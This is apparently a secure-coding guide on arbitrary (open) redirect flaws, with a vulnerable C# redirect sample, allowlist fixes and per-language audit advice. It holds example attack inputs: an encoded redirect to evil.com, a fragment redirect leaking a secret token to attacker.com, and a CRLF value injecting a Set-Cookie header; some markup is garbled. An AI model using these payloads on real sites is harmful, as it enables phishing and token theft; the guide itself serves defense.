Arbitrary Redirect
Arbitrary Redirect - What is it?
Many sites have a mechanism for redirecting users to different pages on the site, or even to pages on different sites, The redirect can be done server side (PHP, JSP, ASP, etc) or client side (JavaScript). For example, some sites use redirects to bring users back to where they were before in the event of an interruption in flow:
- Alice logs in, and begins using the site.
- Alice stops in the middle of some action A on page P. Alice heads out to lunch.
- Because the site has a 30-minute session expiration timeout, when Alice comes back her session has expired.
- Alice re-authenticates, and the login form contains a hidden field with the
URL of page P: <form action="login.jsp"
method="POST">
<b><font color="red"><input </font></b><font color="red"> type="hidden" name="page" value="/someImportantAction.jsp" /></font> <input type="text" name="name" value="Alice" /> <input type="password" name="password" value="" /> <input type="submit" /> </form>
- When Alice logs in, the application sends a redirect response to P, so Alice
can get right back to work: HTTP/1.1 302
Found
Location: <b><font color="red">/someImportantAction.jsp</font></b>
The problem arises when the application performs dynamic redirects to a user controlled value, which allows a malicious attacker redirect users to any URL indiscriminately.
This allows an attacker to perform phishing attacks that looks more legitimate, for example:
Legitimate redirect: https://www.example.com/home.jsp?retURL=login.jsp
https://www.example.com.fake.bad.co.uk/login.jsp
https://www.example.com/login.jsp?page=%68%74%74%70%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%68%74%74%70%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f
http://www.evil.com/
This URL looks like (and is) a true example.com URL but will actually send people to evil.com. If evil.com hosts a convincing phishing attack page for example.com, example.com users may very well be tricked into providing their credentials to evil.com.
Another risk is abusing redirects to leak sensitive data that is stored in GET requests using the referrer header.
This time let’s take a look at a client side redirect example:
https://example.com/index.jsp?secretToken=81dc9bdb52d04dc2003#auth.jsp
<script>
var retURL = location.hash.substring(1);
window.location = retURL;
</script>
The value can be controlled by the user which means that an attacker can change the value to redirect to his own site. https://example.com/index.jsp?secretToken=81dc9bdb52d04dc2003#http://attacker.com
Host: attacker.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/index.jsp?token=3423434234
https://www.example.com/login.jsp?page=something%0d%0aSet-Cookie:+some+evil+data
HTTP/1.1 302 Found
Location: something
Set-Cookie: some evil data
Sample Vulnerability
// ...
string url =
request.QueryString["url"];
// ...
Response.Redirect(url);
Is My Application Vulnerable?
If your application has a redirection mechanism and does not already address the problem by limiting redirection (preferably by means of an allowlist, a mechanism that restricts redirects to known-good URIs), then it is likely to be vulnerable.
How Can I Test My Application?
Test your application by providing many different types of URLs for your redirection feature:
- All URL schemes: http://, https://, ftp://, data://, javascript:, and so on.
- URLs in many domains: example.com, www.example.com, subdom.other.example.com, evil.com, google.com, example.co.uk, and so on.
How Do I Protect My Application?
Ideally, the application will only redirect clients that match a pattern of known-safe URLs or URIs. Define a function in your code that checks potential redirection URLs and URIs against this list.
Apex and Visualforce ApplicationsIn Apex code, audit any usage of PageReference to make sure that it is on the allowlist (the list of page references that can be used). In client side code, make sure that assignments to window.location are on the allowlist (the list of usable assignments). Do not assume that retUrl is sanitized by the platform.
General GuidanceThe general solution to the problem is to constrain the range of URLs to which your redirector will redirect. Constraining URLs by hostname is easy; the best way to do it is by keeping a list of known-good hostnames and checking that a URL’s hostname matches one in the list. You can also limit by known-good schemes and by known-good paths (perhaps using a regular expression).
String [] GoodDomains = new string [] { "example.com", "www.example.com"
};
Uri url = new Uri("http://www.google.co.in/search?q=kamal");
bool good = false;
foreach (String d in GoodDomains) {
if
(d.Equals(url.Host) {
good = true;
break;
}
}
if (!good)
throw new Exception("Dubious host name in
URL!");
Response.Redirect(url);
if
(!url.Scheme.Equals("https"))
throw new Exception("HTTPS URLs only!");
Follow general guidance and audit any usage of Response.Redirect().
JavaFollow general guidance and audit any usage of HttpServletResponse.sendRedirect().
PHPFollow general guidance and audit any usage of header('location: <URL>') and fopen().
An additional protection step is a setting in php.ini called allow_url_fopen can be used to control if the fopen() is allowed to open URL schemes. If this is not being done in the code normally, it should be set to off.
Ruby on RailsFollow general guidance and audit any usage of redirect_to().